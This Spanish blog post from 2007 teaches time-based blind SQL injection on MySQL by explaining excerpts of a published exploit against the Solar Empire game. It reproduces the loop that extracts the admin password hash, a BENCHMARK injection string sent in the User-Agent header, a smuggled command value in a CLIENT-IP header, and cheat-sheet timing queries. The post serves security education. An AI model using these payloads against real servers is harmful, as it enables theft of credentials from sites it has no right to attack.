martes, junio 19, 2007

Blind SQL Injection (II de ...).
Hackeando un Servidor de Juegos.

En el post de hoy voy a aprovechar para hablar un poco más sobre las técnicas de Blind SQL Injection, en este caso, un ejemplo de ataque basado en tiempo. En el post anterior vimos una herramienta que buscaba palabras clave en los resultados [Blind SQL Injection en MySQL] , pero..¿qué sucede con esas páginas que cuando descubren un error no cambian? Bueno, pues incluso en esas también se puede conseguir extraer información en base a Verdadero y Falso.

En este caso, lo que se puede realizar es una explotación basada en tiempos, ya veremos algunos ejemplos para Oracle, SQL Server, etc.. pero hoy le toca el turno a MySQL. La idea, es realizar una inyección que compruebe si un valor es cierto, por ejemplo si el primer caracter del hash de la contraseña del administrador es una r, o una s, ... y si se cumple, forzar un retardo en la respuesta. Así, cuando sea verdad, tendremos un retardo extra de tiempo en las respuestas positivas.

Fácil, ¿no?.

Veamos un ejemplo con un exploit real publicado ayer en Milw0rm para el juego Solar Empire.

Este juego, va a ser explotado en la llamada que se hace al php game_listing.php por medio de un parámetro vulnerable a SQL Injection. Que sea vulnerable a SQL Injection quiere decir que el programador concatena el valor pasado sin realizar ningún filtrado de datos o que este filtrado no es lo suficientemente bueno, pero en este caso debe ser explotado por Blind SQL Injection ya que no se muestra ningún mensaje de error y no se pueden ver ningún valor almacenado en el motor de bases de datos, por lo que hay que explotar la vulnerabilidad a ciegas. En este caso, no hay página de Verdadero y Falso como en el primer post [Blind SQL Injection en MySQL] por lo que se va a realizar una explotación basada en tiempos.

Vamos a ver la parte más interesante del código. El código completo de este exploit está disponible en la siguiente URL: http://www.milw0rm.com/exploits/4078

Explicación del código del exploit

Inicializa la contraseña a vacío e itera con dos bucles, uno parará cuando se llegue al último caracter del hash de la password (chr(0)) y el segundo va iterando por cada carácter del hash pasando por todos los posibles valores ASCII:

$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{


Una vez dentro del bucle inicializa un contador para la petición que va a realizar:

$starttime=time();

Y genera la cadena clave del exploit:

$sql="FuckYOU'), (1,2,3,4,5,(SELECT IF ((ASCII(SUBSTRING(se_games.admin_pw,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*";

Esta es la cadena que va a inyectar, como véis el fallo es un SQL Injectión en un parámetro alfanumerico al que va a poner el valor FuckYOU, luego rompe la sentencia con la comilla y cierra el paréntesis para que la instrucción del programador se ejecute correctamente. Después añade un registro de 6 columnas (para que no error con la estructura que debe estar usando el programador en su consulta interna). Las 5 primeras son constantes "1,2,3,4,5" y la sexta la saca de una constulta en la que hace un Select del valor ascii de un letra que va moviendo con el contador $j y lo va comparando con otro contador con el valor $i. En el momento que coincidan, se cumplirá la condición y se ejecuta la función benchmark que genera un retardo de tiempo.

Ahora construye el paquete con HTTP con la inyección. ¿Dónde va la inyección en este paquete?

$packet ="POST ".$p."game_listing.php HTTP/1.0\r\n";
$data="l_name=Admin";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="CLIENT-IP: 999.999.999.999'; echo '123\r\n";//spoof


Aquí, en el parámetro User-Agent. No hace mucho escribí sobre meter un XSS en el Referer, hoy vemos un SQL Injection en el User-Agent. Como ya sabéis, este es un parámetro optativo de HTTP 1.1 que se usa para identificar el software que accede al servidor. Esos valores se usan para realizar estadísticas y, se supone, crear servicios orientados a tus clientes, es decir, adecuar tus aplicaciones al software que usa cada cliente para conectarse. En el caso de hoy, el programador ha debido usar ese valor en una consulta SQL a MySQL y no lo ha filtrado correctamente. Fin de la historia.

$packet.="User-Agent: $sql\r\n";

El exploit continúa con la construcción del paquete y una vez terminado lo envía:

$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
//debug
#die($html);
sendpacketii($packet);
if (eregi("The used SELECT statements have a different number of columns",$html)){echo $html; die("\nunknown query error...");}


Y es en esta parte final dónde averigua si la letra probada con el valor $i en la inyección ha dado un valor Verdadero (ha habido retraso) o Falso (no ha habido retraso). Para ello comprueba el tiempo tardado y evalúa si la diferencia ha sido mayor que 7 segundos, que según el benchmark es lo que debería tardar esa función en terminarse:

$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 7) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
echo "

$uname Hash is: $password";


Esta idea de usar la función Benchmark aparecieó a finales del año pasado publicadas en varias "SQL Injection Cheat sheets" aunque previamente se había visto en algún exploit:

SELECT BENCHMARK(10000000,ENCODE('abc','123'));
(this takes around 5 sec on a localhost)

SELECT BENCHMARK(1000000,MD5(CHAR(116)))
(this takes around 7 sec on a localhost)

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
(this takes around 70 sec on a localhost!)

Using the timeout to check if user exists
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login


Como se puede ver las técncias de Injección ciega tienen ámplias aplicaciones, no son nada complejas y abren un abanico de posibilidades a la hora de explotar vulnerabilidades SQL Injection.

Saludos malignos!

3 comentarios:

  1. Está muy bien esta serie de artículos sobre Blind SQL Injection. Enhorabuena :-)))

    ResponderEliminar
  2. Bueno, hice mi último exámen. Soy un poco más libre. Sólo un poco...

    ResponderEliminar
  3. ¿Esto también lo explicarás en Málaga? :-D

    ResponderEliminar